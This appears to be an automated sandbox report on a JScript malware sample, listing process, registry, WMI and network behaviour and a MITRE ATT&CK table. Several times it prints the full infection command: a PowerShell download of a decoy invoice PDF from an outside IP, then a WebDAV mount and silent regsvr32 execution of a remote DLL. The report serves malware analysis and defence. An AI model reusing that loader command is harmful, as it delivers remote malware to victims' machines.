Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4932			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4356			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1248	Thread sleep count: 4932 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1248	Thread sleep count: 4356 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1892	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1412	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5536	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6480	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3788	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7488	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.2091624440.00000125A12A8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3320301392.000001A725C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3322007161.000001A72B45C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2091913825.00000125A1248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Windows Management Instrumentation	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
